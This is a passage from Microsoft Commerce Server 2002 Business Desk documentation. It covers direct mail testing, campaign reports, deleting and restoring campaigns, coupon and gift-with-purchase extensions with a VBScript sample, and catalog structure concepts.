  • If SQL Server Agent is stopped while a scheduled Direct Mailer job is running, the Direct Mailer job will stop running and cannot be restarted. When a scheduled job is stopped in this way, there is no indication that the job has failed. You must restart SQL Server Agent, and then restart the Direct Mailer job.

See Also

Creating Direct Mail


Testing Direct Mail

You can test your direct mail against a test list before sending it out to a larger mailing list. The test mail will also enable you to review your personalization pages for accuracy.

To test direct mail

  1. In Campaigns, click Campaign Manager.
  2. In the Campaign Manager screen, select the direct mail campaign you want to test, and then click Open on the toolbar.
  3. In the Campaign Manager <Customer> <Campaign> <Direct Mail Item> (direct mail ID: <number>) screen, in the Test section, in the Test list box, select the mail list with which to test the direct mail.
  4. Click Send Test Mail.

Direct Mailer sends out mail against the selected test list.

See Also

Creating Direct Mail


Copying Direct Mail

You can copy existing direct mail that has already been created to quickly add additional direct mail for a campaign. Using the existing direct mail as a template, you can change the properties of the existing direct mail to meet the goals of the new direct mail campaign.

To copy direct mail

  1. In Campaigns, click Campaign Manager.
  2. In the Campaign Manager screen, select the direct mail you want to copy, and then click Copy on the toolbar.
  3. In the Copy Direct Mail item dialog box, do the following:
    Use this | To do this
    Select a customer | Select the customer from the drop-down list from which you want to copy the direct mail item.
    Select a campaign | Select the campaign from the drop-down list from which you want to copy the direct mail.
  4. Click OK.
  5. In the Campaign Manager <Customer> <Campaign> New (direct mail) screen, in the Direct Mail Properties section, in the Direct mail name box, type a name for the new direct mail.
  6. Edit the remaining properties as necessary.
  7. To save the direct mail and return to the Campaign Manager screen, click Save and go back on the toolbar.

The new direct mail appears in the Campaign Manager tree under the selected customer and campaign.


Analyzing a Campaign

You can use the Reports module to run campaign reports that help you to make decisions about pricing, marketing, advertising, and other aspects of your business. Analyzing your campaigns gives you the ability to promote the campaigns that are the most successful.

This section contains:

  • Running a Campaign Report
  • Exporting a Report to List Manager


Running a Campaign Report

After the import log files containing your campaign data are imported into the Data Warehouse, you can run reports to analyze the effectiveness of your ad campaigns. Log files can be run daily, weekly, or monthly. To receive the schedule for importing log files on your site, contact your system administrator. For more information about running reports, see Running Reports.

In Analysis, from the Reports module, you can run both dynamic and static reports. When you first open the Reports module, the default view assumes a search for "All Reports." You can narrow your list by using more specific search criteria. For information about advertising reports, see Advertising Reports.

To find a campaign report

  1. In Analysis, click Reports.

    Note

    • To view the entire list of reports, use the Page Scrolling buttons at the bottom of the list.
  2. In the Reports screen, click Find on the toolbar.
  3. In the Find pane, do the following:
    Use this To do this
    Find By Select the criteria you want to search on from the drop-down list.

    Different boxes appear below the Find By box depending on the type of criteria you select.

    In the box(s) under the Find By box, type or select from the list the specific value for the criteria that you have selected (name, category, creator, type).
  4. Click Find Now.

A list of reports matching the search criteria appears in the lower section of the Find pane.

To run a campaign report

  • In Reports, in the list of available reports, select the report you want to run, and then click Run report on the toolbar.

While a dynamic report is running, a new Internet Explorer window appears immediately on your screen, on top of the Reports module screen. While the report is running, you can minimize that window and continue working in Commerce Server Business Desk.

While a static report is running, the Reports module remains on your screen and is available for continued work. For information about running reports, see Running Reports.

To check report status

  • In Analysis, click Competed Reports.
In the Completed Reports screen, you can view the list of completed reports and check the status of the report.

See Also

Running Reports

Finding Reports


Exporting a Report to List Manager

You can export a static Analysis report to the List Manager module and then use that list to run a Direct Mailer job. By analyzing usage on your site, you can generate a list of registered users to which you can then target your ad (using the Campaign Manager module) through direct mail. For example, you want to run an ad for a new book about biking. Using the Reports module, you can generate a list of registered users who enjoy biking. You can then target the ad to that list of registered users.

To find a static report

  1. In Campaigns, click Campaign Manager.
  2. In the Campaign Manager screen, click Preview report on the toolbar to view the list of reports.
  3. In the Reports screen, click Find on the toolbar.
  4. In the Find pane, do the following:
    Use this | To do this
    Find By | Select Type from the drop-down list.
    Type | Select Static from the drop-down list.
  5. Click Find Now.

A list of static reports appears in the Find pane.

To export a report to List Manager

  • In the Reports screen, select the report you want to export, and then click Export on the toolbar.

The report is exported to List Manager.

See Also

Finding Reports

Managing Lists of User Records


Searching Campaigns

The Campaign Manager tree structure can be extensive. You can use the Find pane in Campaign Manager module to search for campaigns using filter criteria. Using filter criteria reduces the number of items displayed in the Campaign Manager tree, making it easier to locate and manage your campaigns.

You can search for campaigns by campaign item, customer name, or by status (active or inactive). You can also search for campaigns that have been deleted. Once a campaign has been deleted, the campaign and campaign items are archived and can be restored if required.

To search for a campaign item

To search for a deleted discount

To search for a campaign item

  1. In Campaigns, click Campaign Manager.
  2. In the Campaign Manager screen, click Find on the toolbar.
  3. In the Find pane, do the following:
    Use this | To do this
    Item type | Select the campaign item type from the drop-down list, or select All to include all campaign items.
    Customer | Type the name of the customer of the campaign you want to search.
    Status | Select Active or All from the drop-down list.
    Deleted | Select No or Both from the drop-down list.
    From | Type or select the date the campaign started from the drop-down calendar.
    To | Type or select the date the campaign ended or is scheduled to end from the drop-down calendar.
  4. Click Find Now.

The campaign items that match the search criteria appear in the Filtered View list.

Note

  • To restore the default search criteria, click Reset.

To search for a deleted discount

  1. In Campaigns, click Campaign Manager.
  2. In the Campaign Manager screen, click Find on the toolbar.
  3. In the Find pane, do the following:
    Use this | To do this
    Item type | Select Discount from the drop-down list.
    Customer | Type the name of the customer of the discount.
    Status | Select All from the drop-down list.
    Deleted | Select Both from the drop-down list.
    From | Type or select the date the discount started from the drop-down calendar.
    To | Type or select the date the discount ended or is scheduled to end from the drop-down calendar.
  4. Click Find Now.

The campaign items that match the search criteria appear in the Filtered View list.

Note

  • To restore the default search criteria, click Reset.

See Also

About Campaigns

Deleting and Restoring Customers, Campaigns, and Campaign Items


Deleting and Restoring Customers, Campaigns, and Campaign Items

You can delete customers, campaigns, or campaign items from the Campaign Manager module when they are no longer required. Campaign Manager is organized hierarchically by customer, campaign, and campaign items. When you delete customers, campaigns, or campaign items, you should delete down the hierarchical tree. For example, if you delete a customer, the campaigns and campaign items for that customer are deleted as well. When you restore campaign items, you should restore up the hierarchical tree. For example, if you restore a campaign item, you must ensure that that the subordinate campaign and customer records are restored as well.

When you delete a customer, the customer is archived along with the campaigns and campaign items. After a customer, campaign, or campaign item is deleted, you can restore them using Campaign Manager.

This section contains:

  • Deleting and Restoring a Customer
  • Deleting and Restoring a Campaign
  • Deleting and Restoring a Campaign Item


Deleting and Restoring a Customer

You can remove a customer using the Campaign Manager module. After you remove a customer, the customer is archived along with its campaigns and campaign items and can be restored using Campaign Manager.

To delete a customer

  1. In Campaigns, click Campaign Manager.
  2. In the Campaign Manager screen, select the customer you want to delete, and then click Delete on the toolbar.
  3. In the Delete dialog box, click Yes.

The customer is deleted from the Campaign Manager and has been archived with its campaigns and campaign items.

To restore a customer

  1. In Campaigns, click Campaign Manager.
  2. In the Campaign Manager screen, click Find on the toolbar.
  3. In the Find pane, do the following:
    Use this | To do this
    Customer Type the name of the customer you want to restore.

    Note

    • You can type a string of letters to narrow your search. For example, "ar" will retrieve only those customers that contain an "ar" in them, such as Arbor Shoes, and School of Fine Art.
    Deleted | Select Both from the drop-down list.
  4. Click Find Now.

    The customer appears in the Filtered View list, with a status of Deleted.

  5. Select the Customer from the Filtered View list, and then click Restore on the toolbar.
  6. In the Restore? dialog box, click Yes.
  7. In the Find pane, click Reset to restore the Filtered View, and then click the Close find pane button.

The customer is restored and appears in the Filtered View list.

See Also

About Campaigns

Deleting and Restoring a Campaign

Deleting and Restoring a Campaign Item

Searching Campaigns


Deleting and Restoring a Campaign

You can remove a campaign using the Campaign Manager module. After you remove a campaign, the campaign is archived along with its campaign items and can be restored using Campaign Manager.

To delete a campaign

  1. In Campaigns, click Campaign Manager.
  2. In the Campaign Manager screen, select the campaign you want to delete, and then click Delete on the toolbar.
  3. In the Delete? dialog box, click Yes.

The campaign is deleted from the Campaign Manager and is archived with its campaign items.

To restore a campaign

  1. In Campaigns, click Campaign Manager.
  2. In the Campaign Manager screen, click Find on the toolbar.
  3. In the Find pane, do the following:
    Use this | To do this
    Customer | Type the name of the customer of the campaign you want to restore.
    Deleted | Select Both from the drop-down list.
    From | Type or select from the drop-down calendar the date the campaign was created.
    To | Type or select from the drop-down calendar the date the campaign was deleted.
  4. Click Find Now.

    The campaign appears in the Filtered View list, with a status of Deleted.

  5. Select the Campaign from the Filtered View list, and then click Restore on the toolbar to restore the campaign status to active.
  6. In the Restore? dialog box, click Yes.
  7. In the Find pane, click Reset to restore the Filtered View, and then click the Close find pane button.

The campaign is restored and appears in the Filtered View list.

See Also

About Campaigns

Deleting and Restoring a Customer

Deleting and Restoring a Campaign Item

Searching Campaigns


Deleting and Restoring a Campaign Item

You can remove a campaign item using the Campaign Manager module. After you remove a campaign item, it is archived and can be restored using Campaign Manager.

To delete a campaign item

  1. In Campaigns, click Campaign Manager.
  2. In the Campaign Manager screen, select the campaign item you want to delete, and then click Delete on the toolbar.
  3. In the Delete? dialog box, click Yes.

The campaign item is deleted from the Campaign Manager.

To restore a campaign item

  1. In Campaigns, click Campaign Manager.
  2. In the Campaign Manager screen, click Find on the toolbar.
  3. In the Find pane, do the following:
    Use this | To do this
    Item type | Select the type of campaign item you want to restore.
    Customer | Type the name of the customer of the campaign item you want to restore.
    Deleted | Select Both from the drop-down list.
    From | Type or select from the drop-down calendar the date the campaign item was created.
    To | Type or select from the drop-down calendar the date the campaign item was deleted.
  4. Click Find Now.

    The campaign item appears in the Filtered View list, with a status of Deleted.

  5. Select the campaign from the Filtered View list, and then click Restore to restore the campaign item status to active.
  6. In the Restore? dialog box, click Yes.
  7. In the Find pane, click Reset to restore the Filtered View, and then click the Close find pane button.

The campaign item is restored and appears in the Filtered View list.

See Also

About Campaigns

Deleting and Restoring a Customer

Deleting and Restoring a Campaign

Searching Campaigns


Extending Campaigns

Your site developer can make custom changes to your site to extend the functionality of your campaigns. This section contains information on features that are not included in Commerce Server 2002, but can be added with custom code.

This section contains:

  • Discount Trail
  • Coupons
  • Gift with Purchase (GWP)
  • Percentage Off and Dollar Off Variations of the Shipping Discount
  • Targeting Based on User Lists


Discount Trail

Multiple discounts may apply to the same product item in the basket. These discounts may be line item discounts, order-level discounts, or shipping discounts. Commerce Server provides a discount trail by storing information about multiple discounts that are applied to the same line item in the order. For information about enabling the discount trail functionality, see the “Discount Sitelet sample” in Commerce Server 2002 Software Development Kit (SDK).

See Also

About Campaigns

Discounts

Multiple Discounts


Coupons

Your site developer can extend click-required discounts for offering coupons. One way to implement discount coupons is to evaluate the coupon code, and then retrieve the appropriate campaign_item_id. The campaign item is then added to the Discounts_clicked simplelist. You can also enable coupon functionality using banner ads. When the user clicks on the banner, a multi-use coupon is added to the basket, as well as the item you are promoting.

If you want to create coupons that can only be used once per user account, you can track the list of coupons a user receives as a multi-valued user property. You then build an eligibility requirement expression such as “user.couponsredeemed does not contain <id>”.

See Also

About Campaigns

Discounts

Specifying the Discount Display


Gift with Purchase (GWP)

Gift with Purchase (GWP) is a popular merchandising technique that offers a gift (free item) to users if their shopping basket satisfies a certain condition. For example:

Buy <something>, get <a product> at 100 percent off.

There are two kinds of GWP:

  • Non-site catalog gifts

    These award items do not appear in the site catalog for users to buy. For example, if a user buys a ten pack of soap, they receive a shampoo sample packet free. The shampoo packet is not in the site catalog, but is offered as a free gift. Therefore, the non-site catalog item price is zero (0) dollars.

  • Site catalog gifts

    These award items appear in the site catalog and are priced. Therefore, after you add a site catalog gift to the basket, the discount system has to apply the 100 percent discount.

GWP discounts only apply if the award item is put in the basket of the user. Although the item is free, the discounting system does not add the item automatically to the basket, which is why you must make custom changes to the discounting system to implement this feature.

To implement the GWP feature, you must do the following:

  • Step 1: Determine which items will be free gifts for a given basket.
  • Step 2: Add the items you determined to be free gifts to the basket.
  • Step 3: Reapply the discounts to the modified basket (this step is only necessary for site catalog gifts).
  • Step 4: Other issues that must be considered.

The following steps explain the procedures for steps 1 through 4 above:

Step 1: Determine which items will be free gifts for a given basket

The following code explains how to determine which items will be free gifts for a given basket.

' -----------------------------------------------------
' Free gift retrieving function
' -----------------------------------------------------

' -----------------------------------------------------
' getFreeGifts
'
' Description:
' Given an orderform, the function returns the qualifying items which are
 given away Free.
' GWP (Gift With Purchase) discount = Any discount which has award as a
SINGLE ITEM at 100% off
'      Eg. Buy A, get B at 100% off
'   Buy more than 100$ worth of goods, get B at 100% off
'This function finds out GWP discounts which apply on the ordergroup, and
returns the list of free items.
'Parameters:
'      OrderGroup for which the freegifts need to be found out
(Commerce.OrderGroup)
'
'Returns:
'      SimpleList of productIDs which are the free Gifts (Commerce.SimpleList)
'
' Notes :
'   1-->This function assumes that there is only a SINGLE orderform by
name "default" in the ordergroup
'      2-->The returned simpleList contains the productIDs (DATABASE::
<CATALOG>_CatalogProducts.productID)
'      3-->It is assumed that an expressionStore object has been
initialized as an application scope object prior to
'         calling of this function
'      4-->It is assumed the NAME of the award expression = PRODUCT ID of
the item given as award
'         This is the default behavior of the productPicker tool that
comes along with Business Desk.
'         If this is not desired, the appropriate XML corresponding to the
expressionID should be extracted from the
'         expressionStore, parsed, and the productID has to be found out.
'
'         ########################## WARNING #########################
'         If the EXPRESSION DEFINITION and the EXPRESSION NAME do not
match as per the assumption above, it will
'         lead to inconsistency
'         Eg.
'         A123 is the productID for "Perforation Photo Paper 4 inches * 6
inches"
'         B234 is the productID for "Inkjet Printer model 123"
'      Expression: "productName contains INKJET" is named as "A123".
(exprName = A123)
'            ----Note that the name of the product A123 DOES NOT CONTAIN
"inkjet"----
'         This expression is used in the discount: Buy Anything, get 100%
OFF on product matching expression A123
'
'         The expression A123 is met for any state of the basket(since it
is buy anything), and so
'         A123 will be added FREE to the basket.
'         This is inconsistent.

' ------------------------------------------------------------------------
Function getFreeGifts(mscsOrderGrp)
'      Get a list of the discounts the shopper qualifies for, but for
which there is
'      no award item (orderform.[_qualifying_discounts])
'      But the list may also contain NON GWP DISCOUNTS. So, GWP discounts
have to be separated from others, and returned.

      Dim oOrderForm, oQualifyingDiscounts, oQualifyingDiscount,
expressionStore
      Dim freeDiscount, allDiscounts, freeItems, tempExprID
      set freeItems = Server.CreateObject("Commerce.SimpleList")
      set oOrderForm = mscsOrderGrp.Value(ORDERFORMS).Value("default")
'      If the "_qualifying_discounts" key does not exist, then just
proceed further, and return the empty simple list
      on error resume next
      set oQualifyingDiscounts = oOrderForm.[_qualifying_discounts]
      if Err.number = 0 then
'         The expressionStore object has to be initialised before calling
this function
         Set expressionStore = Application("MSCSExpressionStore")
         Set allDiscounts = oOrderForm.[_discounts]
         for each oQualifyingDiscount in oQualifyingDiscounts
'            "item_id" key refers to the campaign item ID  (database:::
CAMPAIGN_ITEM.i_campitem_id)
            Set freeDiscount = allDiscounts.Search("item_id",
oQualifyingDiscount)
'            Only discounts which are ITEMLEVEL (order_level=0), % OFF
(offer_type=2)
'            and 100% OFF (offer_value=100) are chosen
            if(freeDiscount.Fields("order_level")=0 and
            freeDiscount.Fields("offer_type")=2 and
            freeDiscount.Fields("offer_value")=100) then
'               Assuming that the EXPRESSION NAME = PRODUCT ID
               tempExprID = freeDiscount.Fields("award_expr")
               freeItems.Add(expressionStore.getExprName(tempExprID))
            end if
         next
      End if

      Set getFreeGifts = freeItems

End Function

Step 2: Add the items you determined to be free gifts to the basket

Add the items you determined to be free gifts to the basket.

Step 3: Reapply the discounts to the modified basket

The following pseudo code explains how to refresh the basket page again. Refreshing the basket page will run the Discount pipeline again, which will apply the discount to the newly added item.

If(free gifts added to the basket) {

Refresh the current page

}

Note

  • To see if the free gifts are added to the basket, use Step 1.

Step 4: Other issues that must be considered

Steps 1 through 3 handle the automatic addition of items to the basket. The following issues must be considered for consistency:

  • When the condition item is removed, the awards are automatically removed.
  • If the user adds the free gift award item to the basket, then it is not removed from the basket (even if the condition item is removed).
  • The user should have the option of choosing if they want the free item added to their basket. The GWP implementation should not always automatically add the item. For example, if the free gift is sizeable, the user may not want to have it shipped.

See Also

About Campaigns

Discounts

Specifying the Discount Display


Percentage Off and Dollar Off Variations of the Shipping Discount

Similar to order-level discounts, percentage off discounts and dollar off discounts are distributed among different shipments. The OrderLevelDiscountApply component and the ShippingDiscountAdjust component use the same code, which makes it possible for site developers to make custom changes to your site to support this type of discount. For information about the OrderLevelDiscountApply component, see OrderLevelDiscountApply. For information about the ShippingDiscountAdjust component, see ShippingDiscountAdjust.

See Also

About Campaigns

Discounts

Specifying the Discount Display


Targeting Based on User Lists

You can use the Commerce Server Targeting System to personalize the buying experience with targeted merchandising, and deliver the optimal content for a given user in a given context. For example, you can target ads to female users who visit your site three times a week, and who have purchased three or more products. For information about user list-based targeting, see the Closing the Loop with Commerce Server Systems tutorial.

See Also

About Campaigns

Discounts

Direct Mail

User Lists

User Profiles

Targeting Ads

Targeting and Personalization

Creating Direct Mail

Targeting Smart Campaigns Tutorial


Business Desk Catalogs

You use the Catalogs modules to create catalogs of products, and to add and update product data. As a business manager, you do not need any specialized knowledge about the databases that store your product data, even if you are assembling a catalog of products from different sources, such as several different suppliers.

This section contains:

  • Workflow for Creating a Base Catalog. Illustrates the workflow for creating a base catalog.
  • Workflow for Creating a Virtual Catalog. Illustrates the workflow for creating a virtual catalog.
  • About Catalogs. Describes the components of a catalog, and provides an overview of the steps to create a catalog definition.
  • Catalog Name and Size Restrictions. Lists characters that are not permitted when you assign names to catalogs, properties, products, and categories.
  • Best Practices for Catalogs. Provides important information about creating and managing your catalogs.
  • Importing and Exporting Catalogs. Explains how to validate and import an Extensible Markup Language (XML) catalog file, how to import a comma-separated values (CSV) catalog file, and how to export a catalog to a share.
  • Creating a Catalog Definition. Explains how to define category, product, and property definitions for a catalog.
  • Creating a Base Catalog. Explains how to create a base catalog. Base catalogs can be multilingual.
  • Adding a Category to a Catalog. Explains how to add a category to a catalog.
  • Adding a Product to a Catalog. Explains how to add a product to a catalog.
  • Adding Product Variants to a Product. Explains how to add product variants to a product.
  • Adding a Language to a Catalog. Explains how to add more than one language to a catalog so you can create a multilingual catalog.
  • Creating a Virtual Catalog. Explains how to create a virtual catalog for the purposes of aggregating multiple catalogs that appear to users as a single catalog, converting products to an alternate currency, and providing special pricing, or subsets of products, for specified groups of users.
  • Creating a Multilingual Catalog. Explains how to create a catalog that displays product information in multiple languages.
  • Translating a Catalog with Business Desk. Explains how to use the Catalog Editor module to translate a few products in a multilingual catalog into other languages.
  • Translating a Catalog by Exporting/Importing. Explains how to translate many multilingual products into other languages by exporting the catalog to XML, sending the XML-based catalog to a translator, and then importing the translated catalog into the catalog database used by Microsoft Commerce Server 2002.
  • Creating a Catalog Set. Explains how to create a catalog set by combining multiple catalogs and then assigning user access to the catalog set.
  • Pricing a Product in a Base Catalog. Explains how to set product prices in your catalog at both the product level and the product variant level, how to price groups of products, how to set prices in a virtual catalog, and how to price products in multiple currencies.
  • Creating Category Hierarchies. Explains how to establish hierarchies for categories within a catalog so you can organize the categories and products on your site.
  • Creating Category and Product Relationships. Explains how to create relationships within a catalog so you can organize the products in your catalog and make it easier for users to navigate to the products they want.
  • Refreshing and Publishing a Catalog. Explains how to publish catalog updates to your Web site, and how to refresh the full-text indexes so that the new catalog data is available to the search feature.
  • Sending a Catalog to a Trading Partner. Explains how to send a catalog to a trading partner.
  • Finding Items in a Catalog. Explains how to find products in a catalog by using a keyword search or to search by properties.
  • Managing Catalog Definitions. Explains how to edit and delete property definitions, product definitions, and category definitions.
  • Managing Products, Categories, Catalogs, and Catalog Sets. Explains how to edit and delete products, categories, catalogs, and catalog sets.
  • Managing Category and Product Relationships. Explains how to edit and delete category and product relationships.


Workflow for Creating a Base Catalog

The following figure illustrates a sample scenario for creating a base catalog. It shows how you can create a catalog by importing an Extensible Markup Language (XML) catalog file or a comma-separated values (CSV) catalog file, or by creating a catalog definition. It shows how, after you create your catalog definition, you can then add a category, add a product, and add product variants to the product. After you create one or more catalogs, you can create a catalog set. And finally, after you make changes to your catalog, you can publish the catalog to your Web site.

The following figure illustrates the workflow for creating a base catalog.

A figure that illustrates the workflow for creating a catalog. Importing a CSV Catalog FileRefreshing and Publishing a CatalogCreating Category and Product RelationshipsCreating Category HierarchiesPricing at the Product Variant LevelAdding Product Variants to a ProductPricing a ProductAdd ProductsPricing a Products in a CategoryAdding a Category to a CatalogCreating a CatalogAdding Category DefinitionsAdd Product DefinitionsAdd Property DefintionsImporting an XML Catalog File


Workflow for Creating a Virtual Catalog

The following figure illustrates the workflow for creating a virtual catalog. After you change the content of a virtual catalog (for example, change price rules or change the inclusion and exclusion rules), you must rebuild it.

A figure that illustrates the workflow for creating a virtual catalog. Refreshing and Publishing a CatalogCreating Category and Product RelationshipsCreating Category HierarchiesDiscounting Product PricesPricing Products in Multiple CurrenciesAdding Price Rules to a Virtual CatalogIncluding Base Catalogs in a Virtual CatalogCreating a Virtual Catalog


About Catalogs

A catalog is a way of organizing the products you want to sell. You use catalogs to organize and manage the product data in your database for display on your site, and to target products to users.

To help you organize your catalogs, Commerce Server Business Desk maintains a description of the properties defined for each catalog in a catalog definition. The definition lists all the categories, products, and properties contained in any given catalog.

This section contains:

  • Using Catalogs in Web Site Management
  • An Overview of Catalog Structure
  • Catalogs: Products and Categories
  • The Catalog Definition: A Description of Products and Categories
  • Unique Identifiers in a Catalog
  • Catalog Hierarchies and Relationships
  • Base Catalogs and Virtual Catalogs
  • Catalogs from Multiple Suppliers
  • Aggregated Catalogs
  • Multilingual Catalogs
  • External Catalogs: Using Join Keys
  • Catalog Sets
  • Product Pricing Methods


Using Catalogs in Web Site Management

You use the Catalogs modules in Commerce Server Business Desk to create and maintain your catalogs. You can use other Business Desk modules to promote your catalog products. For example, when your site is in production, you can run reports using the Analysis modules to identify which products are not selling, and then use the Campaigns modules to create a discount campaign to sell more of these products.

Using Business Desk, you can:

  • Import catalogs from other data sources. You can import catalogs in Extensible Markup Language (XML) or comma-separated values (CSV) format. For example, if you have catalogs in other databases, you can import them to the Commerce Server catalog database, and then use Business Desk to manage them.

    To convert a catalog to XML or CSV format, you can use your existing database management system to save the catalog in XML or CSV format, or a site developer can write a script to convert the catalog for you.

  • Export catalogs. You can export your catalogs in XML format. You might want to export a catalog if, for example, you are selling products wholesale and you want to export your catalogs to retailers. Or, you might want to export a catalog to another application, for example, an inventory system or a pricing system.

    If you want Commerce Server to import or export catalogs on a scheduled basis, a site developer can add this functionality.

  • Apply discounts to products. You can apply discounts to all products in a category or to certain products that meet specified criteria. For example, if Product.price > 20.00, you can specify that a discount of 10 percent is applied to the price of that product when users add it to their shopping baskets.
  • Edit products in the catalog. You can change the product name, price, description, and other product properties, as needed.
  • Update product information in real time. You can update product information, such as the product price, and then immediately publish the changes to your Web site. For example, if users have added a product to their baskets, and your site is updated before they check out, Commerce Server applies the new price to the products in their basket. If users have saved their baskets, and then return to them after you have updated the price, the new price is displayed to the users.
  • Identify which products are selling. You can run Commerce Server reports to identify the top-selling products by units sold and by total sales, and you can identify the top-selling categories by units sold and by total sales. You can use the results of your analysis, for example, to discount products that are not selling well, or to promote accessories for products that are selling well. In addition, your site developer can customize your site to support related sells, such as up sells and intelligent cross-sells.
  • Search for products. You can find products by performing a property search or a free text search.

The following figure provides an overview of the processes in the Product Catalog System that are involved in importing and exporting catalogs, updating the catalog database, and importing catalog data into the Data Warehouse for reporting purposes.

Overview of Product Catalog System

See Also

Importing an XML Catalog File

Importing a CSV Catalog File

Exporting a Catalog

Discount Concepts

Creating a Discount

Discounting Product Prices in a Virtual Catalog

Refreshing and Publishing a Catalog


An Overview of Catalog Structure

A Commerce Server 2002 catalog consists of three main parts:

  • Catalog definition. A description of the categories and product properties for a catalog. The definition lists all the categories, products, and properties allowed in any given catalog. The catalog definition is available to all catalogs in the site.
  • Base catalog. A single instance of the catalog definition that contains data.
  • Virtual catalog. A catalog that references the product data in one or more base catalogs. Products are represented only once in the database, regardless of how many virtual catalogs they appear in.

The following table shows a sample catalog definition, Clothes, and then a single instance of the Clothes catalog definition with data for the catalog Sports Clothes.

Catalog definition Base catalog: Sports Clothes
Category Definition: Department
Category Properties
Name
Description
Image_filename
Image_width
Image_height
 Category: Sport Shirts Department

Sport Shirts Department
2002 catalog of sports shirts
Sports_shirts.gif
100
200
Product Definition: Shirts
Product Properties:
Name
Manufacturer
Price
Product Variant Properties:
Size
Color
SKU
 Product: Ace Soccer Shirt

Ace Soccer Shirt
Ace Shirts
$20.00

M
Green
23354

To understand Commerce Server catalogs, the following topics explain catalogs starting from what you see on a Web site, such as a Sports Clothes catalog, and then drilling down to the underlying structure, that is, the catalog definition.

See Also

Base Catalogs and Virtual Catalogs

The Catalog Definition: A Description of Products and Categories

Catalogs: Products and Categories


Catalogs: Products and Categories

A Commerce Server catalog is an instance of a catalog definition that contains data about individual products and the categories in which they are organized. To create a catalog, you use the Catalog modules in Commerce Server Business Desk to import an external catalog, or build a new catalog, and then publish the catalog to your Web site.

The Catalog

Categories

Products

Product Families and Product Variants

The Catalog

A catalog consists of categories, products, product variants, and properties. Users visiting your Web site navigate through categories, read the descriptions of products, and buy specific products or product variants. The properties provide keywords for users to search for products.

Categories

Categories are individual instances of a category definition. For example, a category definition named Department might be used to create the category Soccer Shirts.

Each category and product can have one primary parent category. The primary parent category provides a canonical path to a child category or product. In addition, if a product is in more than one category, and pricing is set at the category level, only the pricing from the primary parent category is applied to the child categories and products. (You can set pricing at the category level by using either category-level pricing or a virtual catalog price rule on the category.)

Products

Products are single items in your catalog. A product is defined by a combination of property definitions. For example, if you have a product definition named Soccer Shirts, which has the properties Name, Color, and Size, you create a product for each name, color, and size combination that you want to include in your catalog.

Product Families and Product Variants

A product family is a product that contains product variants. A product family is not distinct from a product in any other way.

In the figure in the following The Catalog Definition: A Description of Products and Categories topic, Ace Soccer Shirt is a product family that includes the same type of shirt in all combinations of available colors and sizes. Each combination of type, size, and color is a product variant. A size Large, green shirt with the SKU 115 is one product variant of the Soccer Shirt product; taken together, size, color, and SKU form one variant.

A product family always includes a unique identifier, such as the product name.

A product variant always includes a unique identifier, such as the SKU, and it includes a price. Each product variant is based on the same product definition.

See Also

Base Catalogs and Virtual Catalogs

Aggregated Catalogs

Multilingual Catalogs

Catalog Sets

Creating a Base Catalog

Catalog Name and Size Restrictions

Unique Identifiers in a Catalog


The Catalog Definition: A Description of Products and Categories

The catalog definition describes the characteristics of the categories and products in a particular type of catalog. For example, the catalog definition for a Sports Clothes catalog could contain the following product definitions: Shirts, Pants, and Shoes. To create a catalog definition, you use the Catalog Definition Designer module in Commerce Server Business Desk.

The following figure shows the parts of a catalog definition, and how they map to the parts of the catalog. Properties are used in the category definition and the product definition. The category definition "DEPT" is used for the "Soccer Shirts" category. The product definition "Soccer Shirt" is used for the "Ace Soccer Shirt" product.

Part of a catalog definition

The Catalog Definition

Category Definitions

Product Definitions

Property Definitions

The Catalog Definition

The catalog definition consists of category definitions, product definitions, and property definitions. Category definitions and product definitions are created by using property definitions.

The following figure shows the parts of a sample catalog definition.

Sample catalog definition

You can edit the catalog definition even after a catalog has data in it. For example, you can do the following:

  • Rename a product or category definition
  • Change the properties included in a category definition or product definition

You cannot do the following:

  • Rename a property definition
  • Change the data type of a property, for example, from a number to text.

Category Definitions

Category definitions describe the specific qualities of the categories in your catalog. These category qualities are called category properties. You create a category definition by assigning category properties to it. For example, the Department category definition might have the following category properties: Name, Description, Image File Name, Image Height, and Image Width. When you create a category based on the Department category definition, you enter values for the category properties. For example, the Name category property might be "Sport Shirts Department."

Product Definitions

Product definitions describe the specific qualities of a particular product. These product qualities are called product properties. You create a product definition by assigning product properties to it. For example, you might create a product definition named Shirt that would include three product properties: Name, Manufacturer, and Price. When you create a product based on the Shirt product definition, you enter values for the product properties. For example, the Name product property might be "Ace Soccer Shirt."

Property Definitions

Both category properties and product properties are based on property definitions. A property definition describes information about the property, such as the data type of the property (for example, number, text, multilingual text, and decimal), the name of the property, and a minimum value for the property. For example, you can create a property named Shirt_Size with the values Small, Medium, and Large, or a property named Length with a minimum value of 10 and a maximum value of 120.

See Also

Creating a Catalog Definition

Catalogs: Products and Categories

Catalog Name and Size Restrictions

Best Practices for Catalogs


Unique Identifiers in a Catalog

When you create a base catalog, you specify which properties are the unique identifiers for products and product variants. Both products and product variants have unique identifiers. The unique identifiers are either a text or a number type of property.

Note

  • For a virtual catalog the product ID will always be "ProductID" and the variant ID will always be "VariantID." When creating a virtual catalog, you do not have to specify the product ID and variant ID.

If you have a catalog of books, for example, the title of the book might be the unique identifier for the product, and the ISBN number might be the unique identifier for the product variant. For the book The Quest Ahead, the hard cover version would be one variant, the paperback version another, and the audio version a third. All three product variants are part of the product family The Quest Ahead.

The following example shows the components of the product family The Quest Ahead:

Product Family = The Quest Ahead
Unique ID = Title: The Quest Ahead

Product Variant = The Quest Ahead hardback
Unique ID = ISBN: 1102334
Price = 20.00
Product Variant = The Quest Ahead paperback
Unique ID = ISBN: 1102335
Price = 10.00
Product Variant = The Quest Ahead audio
Unique ID = ISBN: 1102336
Price = 15.00

For a list of best practices for assigning unique identifiers, see Best Practices for Catalogs.


Catalog Hierarchies and Relationships

While the catalog definition provides the underlying structure for the catalog, you create catalog hierarchies and relationships to organize the products in your catalog and make it easier for users to navigate to the products they want. You can create category hierarchies and relationships among categories and products that are in the same catalog, or in different catalogs.

For example, if you have a large catalog, you can create a parent category that includes several other categories, known as child categories. When users navigate to the parent category, the child categories appear; enabling users to quickly navigate to the category that contains the products they want.

Primary Parent Category

Each category and product can have one primary parent category. The primary parent category provides a canonical path to a child category or product. In addition, if a product is in more than one category, and pricing is set at the category level, only the pricing from the primary parent category is applied to the child categories and products. (You can set pricing at the category level by using either category-level pricing or a virtual catalog price rule on the category.)

The following figure shows how a parent category can have several child categories, and how each child category can also be a parent category.

In the previous figure, the Sports Clothes Catalog has two categories: Shirts and Pants. The Shirts category has two child categories: Soccer Shirts and Two-piece Track Suits. This organization gives users two paths to the Two-piece Track Suits category. They can navigate to Track Suits through the Shirts category or through the Pants category.

